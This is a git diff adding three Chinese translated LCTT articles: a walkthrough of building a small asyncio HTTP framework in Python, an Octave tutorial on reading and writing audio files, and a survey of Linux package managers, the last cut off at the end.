welcome, + r'/': home, + r'/login': parse_form,}) + +app = App(router) +app.start_server() +``` +' +用户需要定义一些能够返回字符串或 `Response` 对象的异步函数,然后将这些函数与表示路由的字符串配对,最后通过一个函数调用(`start_server`)开始处理请求。 + +完成设计之后,我将它抽象为几个我需要编码的部分: + +- 接受 TCP 连接以及调度一个异步函数来处理这些连接的部分 +- 将原始文本解析成某种抽象容器的部分 +- 对于每个请求,用来决定调用哪个函数的部分 +- 将上述部分集中到一起,并为开发者提供一个简单接口的部分 + +我先编写一些测试,这些测试被用来描述每个部分的功能。几次重构后,整个设计被分成若干部分,每个部分之间是相对解耦的。这样就非常好,因为每个部分可以被独立地研究学习。以下是我上文列出的抽象的具体体现: + +- 一个 HTTPServer 对象,需要一个 Router 对象和一个 http_parser 模块,并使用它们来初始化。 +- HTTPConnection 对象,每一个对象表示一个单独的客户端 HTTP 连接,并且处理其请求-响应周期:使用 http_parser 模块将收到的字节流解析为一个 Request 对象;使用一个 Router 实例寻找并调用正确的函数来生成一个响应;最后将这个响应发送回客户端。 +- 一对 Request 和 Response 对象为用户提供了一种友好的方式,来处理实质上是字节流的字符串。用户不需要知道正确的消息格式和分隔符是怎样的。 +- 一个包含“路由:函数”对应关系的 Router 对象。它提供一个添加配对的方法,可以根据 URL 路径查找到相应的函数。 +- 最后,一个 App 对象。它包含配置信息,并使用它们实例化一个 HTTPServer 实例。 + +让我们从 `HTTPConnection` 开始来讲解各个部分。 + +### 模拟异步连接 + +为了满足上述约束条件,每一个 HTTP 请求都是一个单独的 TCP 连接。这使得处理请求的速度变慢了,因为建立多个 TCP 连接需要相对高的花销(DNS 查询,TCP 三次握手,[慢启动][4]等等的花销),不过这样更加容易模拟。对于这一任务,我选择相对高级的 [asyncio-stream][5] 模块,它建立在 [asyncio 的传输和协议][6]的基础之上。我强烈推荐你读一读标准库中的相应代码,很有意思! + +一个 `HTTPConnection` 的实例能够处理多个任务。首先,它使用 `asyncio.StreamReader` 对象以增量的方式从 TCP 连接中读取数据,并存储在缓存中。每一个读取操作完成后,它会尝试解析缓存中的数据,并生成一个 `Request` 对象。一旦收到了这个完整的请求,它就生成一个回复,并通过 `asyncio.StreamWriter` 对象发送回客户端。当然,它还有两个任务:超时连接以及错误处理。 + +你可以在[这里][7]浏览这个类的完整代码。我将分别介绍代码的每一部分。为了简单起见,我移除了代码文档。 + +``` +class HTTPConnection(object): + def init(self, http_server, reader, writer): + self.router = http_server.router + self.http_parser = http_server.http_parser + self.loop = http_server.loop + + self._reader = reader + self._writer = writer + self._buffer = bytearray() + self._conn_timeout = None + self.request = Request() +``` + +这个 `init` 方法没啥意思,它仅仅是收集了一些对象以供后面使用。它存储了一个 `router` 对象、一个 `http_parser` 对象以及 `loop` 对象,分别用来生成响应、解析请求以及在事件循环中调度任务。 + +然后,它存储了代表一个 TCP 连接的读写对,和一个充当原始字节缓冲区的空[字节数组][8]。`_conn_timeout` 存储了一个 [asyncio.Handle][9] 的实例,用来管理超时逻辑。最后,它还存储了 `Request` 对象的一个单一实例。 + +下面的代码是用来接受和发送数据的核心功能: + +``` +async def handle_request(self): + try: + while not self.request.finished and not self._reader.at_eof(): + data = await self._reader.read(1024) + if data: + self._reset_conn_timeout() + await self.process_data(data) + if self.request.finished: + await self.reply() + elif self._reader.at_eof(): + raise BadRequestException() + except (NotFoundException, + BadRequestException) as e: + self.error_reply(e.code, body=Response.reason_phrases[e.code]) + except Exception as e: + self.error_reply(500, body=Response.reason_phrases[500]) + + self.close_connection() +``` + +所有内容被包含在 `try-except` 代码块中,这样在解析请求或响应期间抛出的异常可以被捕获到,然后一个错误响应会发送回客户端。 + +在 `while` 循环中不断读取请求,直到解析器将 `self.request.finished` 设置为 True ,或者客户端关闭连接所触发的信号使得 `self._reader_at_eof()` 函数返回值为 True 为止。这段代码尝试在每次循环迭代中从 `StreamReader` 中读取数据,并通过调用 `self.process_data(data)` 函数以增量方式生成 `self.request`。每次循环读取数据时,连接超时计数器被重置。 + +这儿有个错误,你发现了吗?稍后我们会再讨论这个。需要注意的是,这个循环可能会耗尽 CPU 资源,因为如果没有读取到东西 `self._reader.read()` 函数将会返回一个空的字节对象 `b''`。这就意味着循环将会不断运行,却什么也不做。一个可能的解决方法是,用非阻塞的方式等待一小段时间:`await asyncio.sleep(0.1)`。我们暂且不对它做优化。 + +还记得上一段我提到的那个错误吗?只有从 `StreamReader` 读取数据时,`self._reset_conn_timeout()` 函数才会被调用。这就意味着,**直到第一个字节到达时**,`timeout` 才被初始化。如果有一个客户端建立了与服务器的连接却不发送任何数据,那就永远不会超时。这可能被用来消耗系统资源,从而导致拒绝服务式攻击(DoS)。修复方法就是在 `init` 函数中调用 `self._reset_conn_timeout()` 函数。 + +当请求接受完成或连接中断时,程序将运行到 `if-else` 代码块。这部分代码会判断解析器收到完整的数据后是否完成了解析。如果是,好,生成一个回复并发送回客户端。如果不是,那么请求信息可能有错误,抛出一个异常!最后,我们调用 `self.close_connection` 执行清理工作。 + +解析请求的部分在 `self.process_data` 方法中。这个方法非常简短,也易于测试: + +``` +async def process_data(self, data): + self._buffer.extend(data) + + self._buffer = self.http_parser.parse_into( + self.request, self._buffer) +``` + +每一次调用都将数据累积到 `self._buffer` 中,然后试着用 `self.http_parser` 来解析已经收集的数据。这里需要指出的是,这段代码展示了一种称为[依赖注入(Dependency Injection)][10]的模式。如果你还记得 `init` 函数的话,应该知道我们传入了一个包含 `http_parser` 对象的 `http_server` 对象。在这个例子里,`http_parser` 对象是 `diy_framework` 包中的一个模块。不过它也可以是任何含有 `parse_into` 函数的类,这个 `parse_into` 函数接受一个 `Request` 对象以及字节数组作为参数。这很有用,原因有二:一是,这意味着这段代码更易扩展。如果有人想通过一个不同的解析器来使用 `HTTPConnection`,没问题,只需将它作为参数传入即可。二是,这使得测试更加容易,因为 `http_parser` 不是硬编码的,所以使用虚假数据或者 [mock][11] 对象来替代是很容易的。 + +下一段有趣的部分就是 `reply` 方法了: + +``` +async def reply(self): + request = self.request + handler = self.router.get_handler(request.path) + + response = await handler.handle(request) + + if not isinstance(response, Response): + response = Response(code=200, body=response) + + self._writer.write(response.to_bytes()) + await self._writer.drain() +``` + +这里,一个 `HTTPConnection` 的实例使用了 `HTTPServer` 中的 `router` 对象来得到一个生成响应的对象。一个路由可以是任何一个拥有 `get_handler` 方法的对象,这个方法接收一个字符串作为参数,返回一个可调用的对象或者抛出 `NotFoundException` 异常。而这个可调用的对象被用来处理请求以及生成响应。处理程序由框架的使用者编写,如上文所说的那样,应该返回字符串或者 `Response` 对象。`Response` 对象提供了一个友好的接口,因此这个简单的 if 语句保证了无论处理程序返回什么,代码最终都得到一个统一的 `Response` 对象。 + +接下来,被赋值给 `self._writer` 的 `StreamWriter` 实例被调用,将字节字符串发送回客户端。函数返回前,程序在 `await self._writer.drain()` 处等待,以确保所有的数据被发送给客户端。只要缓存中还有未发送的数据,`self._writer.close()` 方法就不会执行。 + +`HTTPConnection` 类还有两个更加有趣的部分:一个用于关闭连接的方法,以及一组用来处理超时机制的方法。首先,关闭一条连接由下面这个小函数完成: + +``` +def close_connection(self): + self._cancel_conn_timeout() + self._writer.close() +``` + +每当一条连接将被关闭时,这段代码首先取消超时,然后把连接从事件循环中清除。 + +超时机制由三个相关的函数组成:第一个函数在超时后给客户端发送错误消息并关闭连接;第二个函数用于取消当前的超时;第三个函数调度超时功能。前两个函数比较简单,我将详细解释第三个函数 `_reset_cpmm_timeout()` 。 + +``` +def _conn_timeout_close(self): + self.error_reply(500, 'timeout') + self.close_connection() + +def _cancel_conn_timeout(self): + if self._conn_timeout: + self._conn_timeout.cancel() + +def _reset_conn_timeout(self, timeout=TIMEOUT): + self._cancel_conn_timeout() + self._conn_timeout = self.loop.call_later( + timeout, self._conn_timeout_close) +``` + +每当 `_reset_conn_timeout` 函数被调用时,它会先取消之前所有赋值给 `self._conn_timeout` 的 `asyncio.Handle` 对象。然后,使用 [BaseEventLoop.call_later][12] 函数让 `_conn_timeout_close` 函数在超时数秒(`timeout`)后执行。如果你还记得 `handle_request` 函数的内容,就知道每当接收到数据时,这个函数就会被调用。这就取消了当前的超时并且重新安排 `_conn_timeout_close` 函数在超时数秒(`timeout`)后执行。只要接收到数据,这个循环就会不断地重置超时回调。如果在超时时间内没有接收到数据,最后函数 `_conn_timeout_close` 就会被调用。 + +### 创建连接 + +我们需要创建 `HTTPConnection` 对象,并且正确地使用它们。这一任务由 `HTTPServer` 类完成。`HTTPServer` 类是一个简单的容器,可以存储着一些配置信息(解析器,路由和事件循环实例),并使用这些配置来创建 `HTTPConnection` 实例: + +``` +class HTTPServer(object): + def init(self, router, http_parser, loop): + self.router = router + self.http_parser = http_parser + self.loop = loop + + async def handle_connection(self, reader, writer): + connection = HTTPConnection(self, reader, writer) + asyncio.ensure_future(connection.handle_request(), loop=self.loop) +``` + +`HTTPServer` 的每一个实例能够监听一个端口。它有一个 `handle_connection` 的异步方法来创建 `HTTPConnection` 的实例,并安排它们在事件循环中运行。这个方法被传递给 [asyncio.start_server][13] 作为一个回调函数。也就是说,每当一个 TCP 连接初始化时(以 `StreamReader` 和 `StreamWriter` 为参数),它就会被调用。 + +``` + self._server = HTTPServer(self.router, self.http_parser, self.loop) + self._connection_handler = asyncio.start_server( + self._server.handle_connection, + host=self.host, + port=self.port, + reuse_address=True, + reuse_port=True, + loop=self.loop) +``` + +这就是构成整个应用程序工作原理的核心:`asyncio.start_server` 接受 TCP 连接,然后在一个预配置的 `HTTPServer` 对象上调用一个方法。这个方法将处理一条 TCP 连接的所有逻辑:读取、解析、生成响应并发送回客户端、以及关闭连接。它的重点是 IO 逻辑、解析和生成响应。 + +讲解了核心的 IO 部分,让我们继续。 + +### 解析请求 + +这个微型框架的使用者被宠坏了,不愿意和字节打交道。它们想要一个更高层次的抽象 —— 一种更加简单的方法来处理请求。这个微型框架就包含了一个简单的 HTTP 解析器,能够将字节流转化为 Request 对象。 + +这些 Request 对象是像这样的容器: + +``` +class Request(object): + def init(self): + self.method = None + self.path = None + self.query_params = {} + self.path_params = {} + self.headers = {} + self.body = None + self.body_raw = None + self.finished = False +``` + +它包含了所有需要的数据,可以用一种容易理解的方法从客户端接受数据。哦,不包括 cookie ,它对身份认证是非常重要的,我会将它留在第二部分。 + +每一个 HTTP 请求都包含了一些必需的内容,如请求路径和请求方法。它们也包含了一些可选的内容,如请求体、请求头,或是 URL 参数。随着 REST 的流行,除了 URL 参数,URL 本身会包含一些信息。比如,"/user/1/edit" 包含了用户的 id 。 + +一个请求的每个部分都必须被识别、解析,并正确地赋值给 Request 对象的对应属性。HTTP/1.1 是一个文本协议,事实上这简化了很多东西。(HTTP/2 是一个二进制协议,这又是另一种乐趣了) + +解析器不需要跟踪状态,因此 `http_parser` 模块其实就是一组函数。调用函数需要用到 `Request` 对象,并将它连同一个包含原始请求信息的字节数组传递给 `parse_into` 函数。然后解析器会修改 `Request` 对象以及充当缓存的字节数组。字节数组的信息被逐渐地解析到 request 对象中。 + +`http_parser` 模块的核心功能就是下面这个 `parse_into` 函数: + +``` +def parse_into(request, buffer): + _buffer = buffer[:] + if not request.method and can_parse_request_line(_buffer): + (request.method, request.path, + request.query_params) = parse_request_line(_buffer) + remove_request_line(_buffer) + + if not request.headers and can_parse_headers(_buffer): + request.headers = parse_headers(_buffer) + if not has_body(request.headers): + request.finished = True + + remove_intro(_buffer) + + if not request.finished and can_parse_body(request.headers, _buffer): + request.body_raw, request.body = parse_body(request.headers, _buffer) + clear_buffer(_buffer) + request.finished = True + return _buffer +``` + +从上面的代码中可以看到,我把解析的过程分为三个部分:解析请求行(这行像这样:GET /resource HTTP/1.1),解析请求头以及解析请求体。 + +请求行包含了 HTTP 请求方法以及 URL 地址。而 URL 地址则包含了更多的信息:路径、url 参数和开发者自定义的 url 参数。解析请求方法和 URL 还是很容易的 - 合适地分割字符串就好了。函数 `urlparse.parse` 可以用来解析 URL 参数。开发者自定义的 URL 参数可以通过正则表达式来解析。 + +接下来是 HTTP 头部。它们是一行行由键值对组成的简单文本。问题在于,可能有多个 HTTP 头有相同的名字,却有不同的值。一个值得关注的 HTTP 头部是 `Content-Length`,它描述了请求体的字节长度(不是整个请求,仅仅是请求体)。这对于决定是否解析请求体有很重要的作用。 + +最后,解析器根据 HTTP 方法和头部来决定是否解析请求体。 + +### 路由! + +在某种意义上,路由就像是连接框架和用户的桥梁,用户用合适的方法创建 `Router` 对象并为其设置路径/函数对,然后将它赋值给 App 对象。而 App 对象依次调用 `get_handler` 函数生成相应的回调函数。简单来说,路由就负责两件事,一是存储路径/函数对,二是返回需要的路径/函数对 + +`Router` 类中有两个允许最终开发者添加路由的方法,分别是 `add_routes` 和 `add_route`。因为 `add_routes` 就是 `add_route` 函数的一层封装,我们将主要讲解 `add_route` 函数: + +``` +def add_route(self, path, handler): + compiled_route = self.class.build_route_regexp(path) + if compiled_route not in self.routes: + self.routes[compiled_route] = handler + else: + raise DuplicateRoute +``` + +首先,这个函数使用 `Router.build_router_regexp` 的类方法,将一条路由规则(如 '/cars/{id}' 这样的字符串),“编译”到一个已编译的正则表达式对象。这些已编译的正则表达式用来匹配请求路径,以及解析开发者自定义的 URL 参数。如果已经存在一个相同的路由,程序就会抛出一个异常。最后,这个路由/处理程序对被添加到一个简单的字典`self.routes`中。 + +下面展示 Router 是如何“编译”路由的: + +``` +@classmethod +def build_route_regexp(cls, regexp_str): + """ + Turns a string into a compiled regular expression. Parses '{}' into + named groups ie. '/path/{variable}' is turned into + '/path/(?P[a-zA-Z0-9_-]+)'. + + :param regexp_str: a string representing a URL path. + :return: a compiled regular expression. + """ + def named_groups(matchobj): + return '(?P<{0}>[a-zA-Z0-9_-]+)'.format(matchobj.group(1)) + + re_str = re.sub(r'{([a-zA-Z0-9_-]+)}', named_groups, regexp_str) + re_str = ''.join(('^', re_str, '$',)) + return re.compile(re_str) +``` + +这个方法使用正则表达式将所有出现的 `{variable}` 替换为 `(?P)`。然后在字符串头尾分别添加 `^` 和 `$` 标记,最后编译正则表达式对象。 + +完成了路由存储仅成功了一半,下面是如何得到路由对应的函数: + +``` +def get_handler(self, path): + logger.debug('Getting handler for: {0}'.format(path)) + for route, handler in self.routes.items(): + path_params = self.class.match_path(route, path) + if path_params is not None: + logger.debug('Got handler for: {0}'.format(path)) + wrapped_handler = HandlerWrapper(handler, path_params) + return wrapped_handler + + raise NotFoundException() +``` + +一旦 `App` 对象获得一个 `Request` 对象,也就获得了 URL 的路径部分(如 /users/15/edit)。然后,我们需要匹配函数来生成一个响应或者 404 错误。`get_handler` 函数将路径作为参数,循环遍历路由,对每条路由调用 `Router.match_path` 类方法检查是否有已编译的正则对象与这个请求路径匹配。如果存在,我们就调用 `HandleWrapper` 来包装路由对应的函数。`path_params` 字典包含了路径变量(如 '/users/15/edit' 中的 '15'),若路由没有指定变量,字典就为空。最后,我们将包装好的函数返回给 `App` 对象。 + +如果遍历了所有的路由都找不到与路径匹配的,函数就会抛出 `NotFoundException` 异常。 + +这个 `Route.match` 类方法挺简单: + +``` +def match_path(cls, route, path): + match = route.match(path) + try: + return match.groupdict() + except AttributeError: + return None +``` + +它使用正则对象的 [match 方法][14]来检查路由是否与路径匹配。若果不匹配,则返回 None 。 + +最后,我们有 `HandleWraapper` 类。它的唯一任务就是封装一个异步函数,存储 `path_params` 字典,并通过 `handle` 方法对外提供一个统一的接口。 + +``` +class HandlerWrapper(object): + def init(self, handler, path_params): + self.handler = handler + self.path_params = path_params + self.request = None + + async def handle(self, request): + return await self.handler(request, **self.path_params) +``` + +### 组合到一起 + +框架的最后部分就是用 `App` 类把所有的部分联系起来。 + +`App` 类用于集中所有的配置细节。一个 `App` 对象通过其 `start_server` 方法,使用一些配置数据创建一个 `HTTPServer` 的实例,然后将它传递给 [asyncio.start_server 函数][15]。`asyncio.start_server` 函数会对每一个 TCP 连接调用 `HTTPServer` 对象的 `handle_connection` 方法。 + +``` +def start_server(self): + if not self._server: + self.loop = asyncio.get_event_loop() + self._server = HTTPServer(self.router, self.http_parser, self.loop) + self._connection_handler = asyncio.start_server( + self._server.handle_connection, + host=self.host, + port=self.port, + reuse_address=True, + reuse_port=True, + loop=self.loop) + + logger.info('Starting server on {0}:{1}'.format( + self.host, self.port)) + self.loop.run_until_complete(self._connection_handler) + + try: + self.loop.run_forever() + except KeyboardInterrupt: + logger.info('Got signal, killing server') + except DiyFrameworkException as e: + logger.error('Critical framework failure:') + logger.error(e.traceback) + finally: + self.loop.close() + else: + logger.info('Server already started - {0}'.format(self)) +``` + +### 总结 + +如果你查看源码,就会发现所有的代码仅 320 余行(包括测试代码的话共 540 余行)。这么少的代码实现了这么多的功能,让我有点惊讶。这个框架没有提供模板、身份认证以及数据库访问等功能(这些内容也很有趣哦)。这也让我知道,像 Django 和 Tornado 这样的框架是如何工作的,而且我能够快速地调试它们了。 + +这也是我按照测试驱动开发完成的第一个项目,整个过程有趣而有意义。先编写测试用例迫使我思考设计和架构,而不仅仅是把代码放到一起,让它们可以运行。不要误解我的意思,有很多时候,后者的方式更好。不过如果你想给确保这些不怎么维护的代码在之后的几周甚至几个月依然工作,那么测试驱动开发正是你需要的。 + +我研究了下[整洁架构][16]以及依赖注入模式,这些充分体现在 `Router` 类是如何作为一个更高层次的抽象的(实体?)。`Router` 类是比较接近核心的,像 `http_parser` 和 `App` 的内容比较边缘化,因为它们只是完成了极小的字符串和字节流、或是中层 IO 的工作。测试驱动开发(TDD)迫使我独立思考每个小部分,这使我问自己这样的问题:方法调用的组合是否易于理解?类名是否准确地反映了我正在解决的问题?我的代码中是否很容易区分出不同的抽象层? + +来吧,写个小框架,真的很有趣:) + +-------------------------------------------------------------------------------- + +via: http://mattscodecave.com/posts/simple-python-framework-from-scratch.html + +作者:[Matt][a] +译者:[Cathon](https://github.com/Cathon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://mattscodecave.com/hire-me.html +[1]: https://github.com/sirMackk/diy_framework +[2]:https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol +[3]: https://en.wikipedia.org/wiki/HTTP_persistent_connection +[4]: https://en.wikipedia.org/wiki/TCP_congestion-avoidance_algorithm#Slow_start +[5]: https://docs.python.org/3/library/asyncio-stream.html +[6]: https://docs.python.org/3/library/asyncio-protocol.html +[7]: https://github.com/sirMackk/diy_framework/blob/88968e6b30e59504251c0c7cd80abe88f51adb79/diy_framework/http_server.py#L46 +[8]: https://docs.python.org/3/library/functions.html#bytearray +[9]: https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.Handle +[10]: https://en.wikipedia.org/wiki/Dependency_injection +[11]: https://docs.python.org/3/library/unittest.mock.html +[12]: https://docs.python.org/3/library/asyncio-eventloop.html#asyncio.BaseEventLoop.call_later +[13]: https://docs.python.org/3/library/asyncio-stream.html#asyncio.start_server +[14]: https://docs.python.org/3/library/re.html#re.match +[15]: https://docs.python.org/3/library/asyncio-stream.html?highlight=start_server#asyncio.start_server +[16]: https://blog.8thlight.com/uncle-bob/2012/08/13/the-clean-architecture.html diff --git a/published/201609/20160616 Part 1 - Scientific Audio Processing How to read and write Audio files with Octave 4.0.0 on Ubuntu.md b/published/201609/20160616 Part 1 - Scientific Audio Processing How to read and write Audio files with Octave 4.0.0 on Ubuntu.md new file mode 100644 index 0000000000..56bddceaa1 --- /dev/null +++ b/published/201609/20160616 Part 1 - Scientific Audio Processing How to read and write Audio files with Octave 4.0.0 on Ubuntu.md @@ -0,0 +1,141 @@ +科学音频处理(一):怎样使用 Octave 对音频文件进行读写操作 +================ + +Octave 是一个类似于 Linux 上的 Matlab 的软件,它拥有数量众多的函数和命令,支持声音采集、记录、回放以及音频信号的数字化处理,用于娱乐应用、研究、医学以及其它科学领域。在本教程中,我们会在 Ubuntu 上使用 Octave 的 4.0.0 版本读取音频文件,然后通过生成信号并且播放来模仿在各种情况下对音频信号的使用。 + +本教程中关注的不是安装和学习使用安装好的音频处理软件,而是从设计和音频工程的角度理解它是如何工作的。 + +### 环境准备 + +首先是安装 octave,在 Ubuntu 终端运行下面的命令添加 Octave PPA,然后安装 Octave 。 + +``` +sudo apt-add-repository ppa:octave/stable +sudo apt-get update +sudo apt-get install octave +``` + +### 步骤1:打开 Octave + +在这一步中我们单击软件图标打开 Octave,可以通过单击下拉式按钮选择工作路径。 + +![](https://www.howtoforge.com/images/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/initial.png) + +### 步骤2:音频信息 + +使用`audioinfo`命令查看要处理的音频文件的相关信息。 + +``` +>> info = audioinfo ('testing.ogg') +``` + +![](https://www.howtoforge.com/images/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/audioinfo.png) + + +### 步骤3:读取音频文件 + +在本教程中我会使用 ogg 文件来读取这种文件的属性,比如采样、音频类型(stereo 和 mono)、信道数量等。必须声明的一点是教程中使用的所有的命令都是在 Octave 终端窗口中执行的。首先,我们必须要把这个 ogg 文件赋给一个变量。注意:**文件必须在 Octave 的工作路径中。** + +``` +>> file='yourfile.ogg' +``` + +``` +>> [M, fs] = audioread(file) +``` + +这里的 M 是一个一列或两列的矩阵,取决于信道的数量,fs 是采样率。 + +![](https://www.howtoforge.com/images/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/reading.png) + +![](https://www.howtoforge.com/images/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/matrix.png) + +![](https://www.howtoforge.com/images/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/big/frequency.png) + + +下面的操作都可以读取音频文件: + +``` +>> [y, fs] = audioread (filename, samples) + +>> [y, fs] = audioread (filename, datatype) + +>> [y, fs] = audioread (filename, samples, datatype) +``` + +samples 指定开始帧和结束帧,datatype 指定返回的数据类型。可以为所有变量设置值: + +``` +>> samples = [1, fs) + +>> [y, fs] = audioread (filename, samples) +``` + +数据类型: + +``` +>> [y,Fs] = audioread(filename,'native') +``` + +如果值是“native”,那么它的数据类型就依数据在音频文件中的存储情况而定。 + +### 步骤4:音频文件的写操作 + +新建一个 ogg 文件: + +我们会从一个余弦值创建一个 ogg 文件。采样率是每秒 44100 次,这个文件最少进行 10 秒的采样。余弦信号的频率是 440 Hz。 + +``` +>> filename='cosine.ogg'; +>> fs=44100; +>> t=0:1/fs:10; +>> w=2*pi*440*t; +>> signal=cos(w); +>> audiowrite(filename, signal, fs); +``` + +这就在工作路径中创建了一个 'cosine.ogg' 文件,这个文件中包含余弦信号。 + +![](https://www.howtoforge.com/images/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/cosinefile.png) + +播放这个 'cosine.ogg' 文件就会产生一个 440Hz 的 音调,这个音调正好是乐理中的 'A' 调。如果需要查看保存在文件中的值就必须使用 'audioread' 函数读取文件。在后续的教程中,我们会看到怎样在两个信道中读取一个音频文件。 + +### 步骤5:播放音频文件 + +Octave 有一个默认的音频播放器,可以用这个音频播放器进行测试。使用下面的函数: + +``` +>> [y,fs]=audioread('yourfile.ogg'); +>> player=audioplayer(y, fs, 8) + + scalar structure containing the fields: + + BitsPerSample = 8 + CurrentSample = 0 + DeviceID = -1 + NumberOfChannels = 1 + Running = off + SampleRate = 44100 + TotalSamples = 236473 + Tag = + Type = audioplayer + UserData = [](0x0) +>> play(player); +``` + + +在这个教程的续篇,我们会进入音频处理的高级特性部分,可能会接触到一些科学和商业应用中的实例。 + +-------------------------------------------------------------------------------- + +via: https://www.howtoforge.com/tutorial/how-to-read-and-write-audio-files-with-octave-4-in-ubuntu/ + +作者:[David Duarte][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twitter.com/intent/follow?original_referer=https%3A%2F%2Fwww.howtoforge.com%2Ftutorial%2Fhow-to-read-and-write-audio-files-with-octave-4-in-ubuntu%2F&ref_src=twsrc%5Etfw®ion=follow_link&screen_name=howtoforgecom&tw_p=followbutton + + diff --git a/published/201609/20160620 5 Best Linux Package Managers for Linux Newbies.md b/published/201609/20160620 5 Best Linux Package Managers for Linux Newbies.md new file mode 100644 index 0000000000..e264bf8819 --- /dev/null +++ b/published/201609/20160620 5 Best Linux Package Managers for Linux Newbies.md @@ -0,0 +1,114 @@ +5 个给 Linux 新手的最佳包管理器 +===================================================== + +一个 Linux 新用户应该知道他或她的进步源自于对 Linux 发行版的使用,而 Linux 发行版有好几种,并以不同的方式管理软件包。 + +在 Linux 中,包管理器非常重要,知道如何使用多种包管理器可以让你像一个高手一样活得很舒适,从在仓库下载软件、安装软件,到更新软件、处理依赖和删除软件是非常重要的,这也是Linux 系统管理的一个重要部分。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Best-Linux-Package-Managers.png) + +*最好的Linux包管理器* + +成为一个 Linux 高手的一个标志是了解主要的 Linux 发行版如何处理包,在这篇文章中,我们应该看一些你在 Linux 上能找到的最佳的包管理器, + +在这里,我们的主要重点是关于一些最佳包管理器的相关信息,但不是如何使用它们,这些留给你亲自发现。但我会提供一些有意义的链接,使用指南或更多。 + +### 1. DPKG - Debian 包管理系统(Debian Package Management System) + +Dpkg 是 Debian Linux 家族的基础包管理系统,它用于安装、删除、存储和提供`.deb`包的信息。 + +这是一个低层面的工具,并且有多个前端工具可以帮助用户从远程的仓库获取包,或处理复杂的包关系的工具,包括如下: + +- 参考:[15 个用于基于 Debian 的发行版的 “dpkg” 命令实例][1] + +#### APT (高级打包工具(Advanced Packaging Tool)) + +这个是一个 dpkg 包管理系统的前端工具,它是一个非常受欢迎的、自由而强大的,有用的命令行包管理器系统。 + +Debian 及其衍生版,例如 Ubuntu 和 Linux Mint 的用户应该非常熟悉这个包管理工具。 + +想要了解它是如何工作的,你可以去看看下面这些 HOW TO 指南: + +- 参考:[15 个怎样在 Ubuntu/Debian 上使用新的 APT 工具的例子][2] +- 参考:[25 个用于包管理的有用的 APT-GET 和 APT-CACHE 的基础命令][3] + +#### Aptitude 包管理器 + +这个也是 Debian Linux 家族一个非常出名的命令行前端包管理工具,它工作方式类似 APT ,它们之间有很多可以比较的地方,不过,你应该两个都试试才知道哪个工作的更好。 + +它最初为 Debian 及其衍生版设计的,但是现在它的功能延伸到 RHEL 家族。你可以参考这个指南了解更多关于 APT 和 Aptitude。 + +- 参考:[APT 和 Aptitude 是什么?它们知道到底有什么不同?][4] + +#### Synaptic 包管理器 + +Synaptic是一个基于GTK+的APT的可视化包管理器,对于一些不想使用命令行的用户,它非常好用。 + +### 2. RPM 红帽包管理器(Red Hat Package Manager) + +这个是红帽创建的 Linux 基本标准(LSB)打包格式和基础包管理系统。基于这个底层系统,有多个前端包管理工具可供你使用,但我们应该只看那些最好的,那就是: + +#### YUM (黄狗更新器,修改版(Yellowdog Updater, Modified)) + +这个是一个开源、流行的命令行包管理器,它是用户使用 RPM 的界面(之一)。你可以把它和 Debian Linux 系统中的 APT 进行对比,它和 APT 拥有相同的功能。你可以从这个 HOW TO 指南中的例子更加清晰的理解YUM: + +- 参考:[20 个用于包管理的 YUM 命令][5] + +#### DNF(优美的 Yum(Dandified Yum)) + +这个也是一个用于基于 RPM 的发行版的包管理器,Fedora 18 引入了它,它是下一代 YUM。 + +如果你用 Fedora 22 及更新版本,你肯定知道它是默认的包管理器。这里有一些链接,将为你提供更多关于 DNF 的信息和如何使用它。 + +- 参考:[DNF - 基于 RPM 的发行版的下一代通用包管理软件][6] +- 参考: [27 个管理 Fedora 软件包的 ‘DNF’ 命令例子][7] + +### 3. Pacman 包管理器 – Arch Linux + +这个是一个流行的、强大而易用的包管理器,它用于 Arch Linux 和其他的一些小众发行版。它提供了一些其他包管理器提供的基本功能,包括安装、自动解决依赖关系、升级、卸载和降级软件。 + +但是最大的用处是,它为 Arch 用户创建了一个简单易用的包管理方式。你可以阅读 [Pacman 概览][8],它会解释上面提到的一些功能。 + +### 4. Zypper 包管理器 – openSUSE + +这个是一个使用 libzypp 库制作的用于 OpenSUSE 系统上的命令行包管理器,它的常用功能包括访问仓库、安装包、解决依赖问题和其他功能。 + +更重要的是,它也可以支持存储库扩展功能,如模式、补丁和产品。新的 OpenSUSE 用户可以参考下面的链接来掌控它。 + +- 参考:[45 个让你精通 openSUSE 包管理的 Zypper 命令][9] + +### 5. Portage 包管理器 – Gentoo + +这个是 Gentoo 的包管理器,当下不怎么流行的一个发行版,但是这并不阻止它成为 Linux 下最好的软件包管理器之一。 + +Portage 项目的主要目标是创建一个简单、无故障的包管理系统,包含向后兼容、自动化等功能。 + +如果希望理解的更清晰,可以看下: [Portage 项目页][10]。 + +### 结束语 + +正如我在开始时提到的,这个指南的主要意图是给 Linux 用户提供一个最佳软件包管理器的列表,但知道如何使用它们可以通过其后提供的重要的链接,并实际去试试它们。 + +各个发行版的用户需要学习超出他们的发行版之外的一些东西,才能更好理解上述提到的这些不同的包管理器。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/linux-package-managers/ + +作者:[Ravi Saive][a] +译者:[Bestony](https://github.com/bestony) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/admin/ +[1]: http://www.tecmint.com/dpkg-command-examples/ +[2]: http://www.tecmint.com/apt-advanced-package-command-examples-in-ubuntu/ +[3]: http://www.tecmint.com/useful-basic-commands-of-apt-get-and-apt-cache-for-package-management/ +[4]: http://www.tecmint.com/difference-between-apt-and-aptitude/ +[5]: http://www.tecmint.com/20-linux-yum-yellowdog-updater-modified-commands-for-package-mangement/ +[6]: 